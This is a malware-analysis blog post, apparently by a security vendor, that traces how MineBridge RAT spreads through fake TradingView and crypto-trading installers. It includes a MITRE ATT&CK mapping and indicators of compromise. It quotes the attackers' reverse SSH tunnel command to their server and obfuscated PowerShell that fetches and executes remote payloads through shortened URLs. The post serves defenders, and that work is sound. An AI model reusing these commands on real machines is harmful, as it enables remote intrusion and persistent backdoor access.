Introduction
In March 2021, threat actors started distributing MineBridge RAT with an updated distribution mechanism. Morphisec blogged about the partial attack chain of this new attack but they could not find the origin or initial stages of the attack chain.
In May 2021, Zscaler ThreatLabz was able to uncover all the components of this complex multi-stage attack chain which have never before been documented in their entirety in the public domain.
We've blogged about MineBridge RAT before, in February 2021. This is a RAT (remote access trojan) that misuses the remote desktop software TeamViewer for DLL side-loading, enabling the threat actor to take a wide array of remote follow-on actions such as spying on users or deploying additional malware. It was first discovered in January 2020 targeting financial services organizations.
We discovered that the threat actors are now distributing MineBridge RAT through Windows Installer binaries which masquerade as trading applications. The different stages in this sophisticated attack chain leverage Windows scheduled tasks, PowerShell scripts, reverse SSH tunnels, legitimate binaries such as TeamViewer, and shortened URLs that ultimately lead to the MineBridge RAT execution.
Attack flow
Figure 1 below illustrates the full end-to-end attack chain.
Figure 1: Complete end-to-end attack chain used to deliver MineBridge RAT
Technical analysis
On April 9th, 2021, threat actors registered the domain "tradingview[.]cyou," a look-alike of the legitimate website "tradingview[.]com."
A download link for the malicious TradingView Desktop application was placed on the homepage.
The official TradingView desktop application was launched by tradingview.com in December 2020 for the first time. This indicates that the threat actor is quick at identifying such opportunities to leverage them in their attack chain. Within 4 months of launch of the new official trading application, the threat actor registered a new domain to distribute the malicious version of application.
Similar to this, other trading applications and bots often used by stock and crypto currency traders have also been abused by the threat actor. The complete list of file hashes is included in the IOCs section.
Figure 2 and 3 below show the webpages corresponding to malicious and legitimate domains.
Figure 2: Webpage of the malicious website
Figure 3: Webpage of the legitimate website
The download link (hxxps://tradingview[.]cyou/tradeview.php) on the attacker-controlled domain leads to the download of a malicious Windows Installer.
Note: We noticed that the download URL responds with the malicious Windows Installer only if the user-agent string in the HTTP request headers corresponds to Windows 10 OS.
For the purpose of technical analysis, we will look at the Windows Installer with MD5 hash: 4284ee1eef9dd7f020f5002d63def278
The installer is an Inno package which masquerades as a TradingView Desktop application and is digitally signed by YUNIVELL, LLC. The thumbprint of the digital signature is: 93e9d0b1ea812672b825d7c6812d435cca9fff99
Figure 4 below shows the content of the Inno package
Figure 4: Contents of the Inno setup package
By pivoting on this thumbprint, we identified a few more trading applications which are used to spread MineBridge RAT as well. The hashes of these binaries are also mentioned in the Indicators of compromise (IOCs) section.
Upon execution, this installer shows a GUI (Graphical User Interface) which spoofs a TradingView application while it performs malicious activities in the background.
To start malicious activities, the installer executes two PowerShell command lines which we have referred to as Stage-1 PowerShell and Stage-2 PowerShell. The operations performed by these are explained in detail in the following sections.
[+] Stage-1 PowerShell
Figure 5 below shows the relevant code section of Stage-1 PowerShell script.
Figure 5: Stage-1 PowerShell code
Below are the main operations performed by it.
1. Changes the current directory to: "$env:programdata\ssh\"
2. Fetches SSHD config from the shortened URL: https://cutt[.]ly/UxtdKtn (redirects to: https://cloud-check[.]website/online/tunupd.php?f=cfg) and writes it to the file: sshd_config
3. Adds the OpenSSH.Server Windows capability and starts the sshd service. Sets the startup type to Automatic.
4. Changes directory to the path: "$env:userprofile" and creates the ".ssh" directory.
5. Fetches the SSH keys from the URL: https://cutt[.]ly/Zxtd1Kl (redirects to: https://cloud-check[.]website/online/tunupd.php?f=key) and writes them to the file: authorized_keys
6. Fetches the RSA private keys from the URL: https://cutt[.]ly/yxtdOo3 (redirects to: https://cloud-check[.]website/online/tunupd.php?f=rsa) and writes them to the file: tun_id_rsa
7. Downloads the SSH client binary from the URL: https://cutt[.]ly/ubfAKPb (redirects to: https://cloud-check[.]website/online/tunupd.php?f=ssh) and writes it to: ssh.exe
8. Executes the following command to set up a reverse SSH tunnel from the victim’s machine at port 109 to the attacker’s server at port 32672.
-N -R '+$RemotePort+':localhost:109 tun@'+$RemoteSrv+' -i "'+$env:userprofile+'\.ssh\tun_id_rsa" -o "StrictHostKeyChecking=no" -o "ExitOnForwardFailure=yes" -o "ServerAliveInterval=10" -o "ServerAliveCountMax=10"';
Here,
$RemoteSrv: 86[.]106[.]181[.]183
$RemotePort: 32672
Note: Reverse SSH tunnelling helps the threat actor to bypass firewall rules since outbound connection requests are generally not blocked.
9. Creates a new scheduled task with the name, "OneDrive Sync" which executes the above command line upon Logon, and once every 20 minutes.
[+] Stage-2 PowerShell
Figure 6 below shows the relevant code section of Stage-2 PowerShell script.
Figure 6: Stage-2 PowerShell code
The PowerShell script performs the following operations:
1. Creates a scheduled task with the name, "Google Disk Sync" which runs twice every week and executes the following code using PowerShell
$b="https://";
$c="cutt[.]ly";
$d="/9nOFUuK";
$b+=$c;
$b+=$d;
$a=iwr $b -UseBasicPArsing |iex;
$b="https://";
$c="cutt.ly";
$d="/HxPcxuH";
$b+=$c;
$b+=$d;
$a=iwr $b -UseBasicPArsing |iex;
This code performs following operations:
● Downloads and executes Stage-3 PowerShell code from: cutt[.]ly/9nOFUuK [redirects to: https://simpleclub[.]website/upd/?t=psns] which ultimately leads to NetSupport client execution.
● Downloads and executes Stage-4 PowerShell code from: cutt[.]ly/HxPcxuH [redirects to: https://simpleclub[.]site/upd/?t=pstv] which ultimately leads to MineBridge RAT execution.
2. Creates a scheduled task with the name, "Google Photo Sync" which runs twice every week and executes the following PowerShell command line:
$b="https://";
$c="cutt[.]ly";
$d="/9nOFUuK";
$b+=$c;
$b+=$d;
$a=iwr $b -UseBasicPArsing |iex;
This again downloads and executes the Stage-3 PowerShell code from: https://cutt[.]ly/9nOFUuK [redirects to: https://simpleclub[.]website/upd/?t=psns]
Note: We have not detailed the Stage-3 PowerShell and Stage-4 PowerShell in this blog since the details for these two are already covered in the Morphisec blog.
Zscaler Cloud Sandbox report
Figure 7 below shows the Zscaler cloud sandbox report for MineBridge RAT DLL.
Figure 7: Cloud sandbox report
In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators at various levels.
MITRE ATT&CK TTP Mapping
|
ID |
Tactic |
Technique |
|
T1566 |
Phishing |
Attacker hosted fake websites leading to malicious file download |
|
T1204.002 |
User Execution: Malicious File |
User executes the downloaded file |
|
T1059.001 |
Command and Scripting Interpreter: PowerShell |
Uses PowerShell in multiple stages to download and execute malicious payloads |
|
T1547.001 |
Registry Run Keys / Startup Folder |
Creates LNK file in the startup folder for payload execution |
|
T1053.005 |
Scheduled Task/Job: Scheduled Task |
Creates scheduled task to execute PowerShell commands which further downloads and executes PowerShell scripts |
|
T1140 |
Deobfuscate/Decode Files or Information |
Strings and other data are obfuscated in the payloads |
|
T1036.004 |
Masquerading: Masquerade Task or Service |
Scheduled tasks are created with name masquerading Google and OneDrive |
|
T1036.005 |
Masquerading: Match Legitimate Name or Location |
Dropped LNK file for persistence masquerades Windows Defender |
|
T1027.002
|
Obfuscated Files or Information: Software Packing |
Payloads are packed in layers |
|
T1574.002 |
Hijack Execution Flow: DLL Side-Loading |
Uses legit TeamViewer binary with dll-side loading vulnerability |
|
T1056.002 |
Input Capture: GUI Input Capture |
Captures TeamViewer generated UsedID and Password by hooking GUI APIs |
|
T1057 |
Process Discovery |
Verifies the name of parent process |
|
T1082 |
System Information Discovery |
Gathers system OS version info |
|
T1033 |
System Owner/User Discovery |
Gathers currently logged in Username |
|
T1572 |
Protocol Tunneling |
Creates Reverse SSH tunnel |
|
T1071.001 |
Application Layer Protocol:Web Protocols |
Uses https for network communication |
|
T1041 |
Exfiltration Over C2 Channel |
Data is exfiltrated using existing C2 channel |
Indicators of compromise (IOCs)
[+] Hashes
|
MD5 |
FileName |
Type |
|
4284ee1eef9dd7f020f5002d63def278 |
TradingView.exe |
Installer |
|
68a010a3d0d25cfa13933199511ed897 |
Polarr_Setup (2).exe |
Installer |
|
ffcd63dc98e64afbfea8718b747963d7 |
Bitcoin_Trade.exe |
Installer |
|
3281f3b30fb8f3c69b18cc7aadfdf697 |
Arbitrage_Bot.exe |
Installer |
|
796e091b18112e223749972c3f0888db |
Bitcoin_Trade.exe |
Installer |
|
b14632304a7543752fbf2e3b7c0eca59 |
msi.tiff (MineBridge RAT) |
Dll |
[+] C2 domains
|
Component |
Domain |
|
Phishing website |
tradingview[.]cyou tradingview[.]cloud |
|
PowerShell payloads |
cloud-check[.]website simpleclub[.]website simpledomen[.]website simpleclub[.]site |
|
Reverse SSH tunnel |
86.106.181[.]183:32672 |
|
NetSupport client |
update-system[.]cn updatesystem[.]website |
|
MineBridge RAT |
ninjakick[.]club polarrsearch[.]xyz rogaikopyta[.]xyz utkailipa[.]xyz 5tvstar[.]cn goldendragon888[.]cn |
[+] Windows Installer signer details
Signer name: YUNIVELL, LLC
Thumbprint: 93E9D0B1EA812672B825D7C6812D435CCA9FFF99
[+] Scheduled tasks name
OneDrive sync
Google Disk Sync
Google Photo Sync
